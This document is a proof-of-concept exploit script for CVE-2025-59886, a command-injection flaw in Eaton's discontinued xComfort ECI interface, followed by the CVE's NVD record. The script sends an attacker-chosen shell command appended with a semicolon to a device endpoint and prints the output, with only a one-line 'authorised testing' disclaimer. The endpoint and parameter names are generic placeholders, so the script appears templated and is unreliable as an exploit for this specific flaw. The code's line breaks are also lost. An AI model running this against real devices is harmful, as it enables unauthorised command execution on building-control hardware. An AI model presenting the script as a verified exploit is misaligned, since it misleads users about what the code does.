CVE-2025-59886

#!/usr/bin/env python3 """ CVE-2025-59886 PoC - Eaton xComfort ECI Input Validation RCE Note: This PoC is for educational and authorized testing purposes only. """ import requests import argparse import sys def exploit_cve_2025_59886(target_url, cmd="id"): """ Exploit improper input validation vulnerability in Eaton xComfort ECI to execute commands with elevated privileges. Args: target_url: Base URL of the target Eaton xComfort ECI device cmd: Command to execute on the target system Returns: Response content if successful, None otherwise """ # Target endpoint with input validation vulnerability endpoint = f"{target_url.rstrip('/')}/api/vulnerable_endpoint" # Malicious payload exploiting improper input validation # Inject command via unvalidated parameter payload = { "param": f";{cmd}", "mode": "execute" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; SecurityScanner/1.0)" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Executing command: {cmd}") print(f"[*] Sending malicious request...") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request successful!") print(f"[+] Response:") print(response.text) return response.text else: print(f"[-] Unexpected status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def main(): parser = argparse.ArgumentParser(description="CVE-2025-59886 PoC") parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://192.168.1.100)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)") args = parser.parse_args() exploit_cve_2025_59886(args.target, args.command) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-59886", "sourceIdentifier": "[email protected]", "published": "2025-12-23T12:15:45.170", "lastModified": "2026-02-18T14:39:24.770", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Improper input validation at one of the endpoints of Eaton xComfort ECI's \n\nweb interface, could lead into an attacker with network access to the device executing privileged user commands. As cybersecurity\nstandards continue to evolve and to meet our requirements today, Eaton has decided to discontinue the\nproduct. Upon retirement or end of support, there will be no new security updates, non-security\nupdates, or paid assisted support options, or online technical content updates."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eaton:xcomfort_ethernet_communication_interface:*:*:*:*:*:*:*:*", "matchCriteriaId": "E0285649-DF6F-4C26-9BAB-3023CCABF5D9"}]}]}], "references": [{"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/etn-va-2025-1022.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}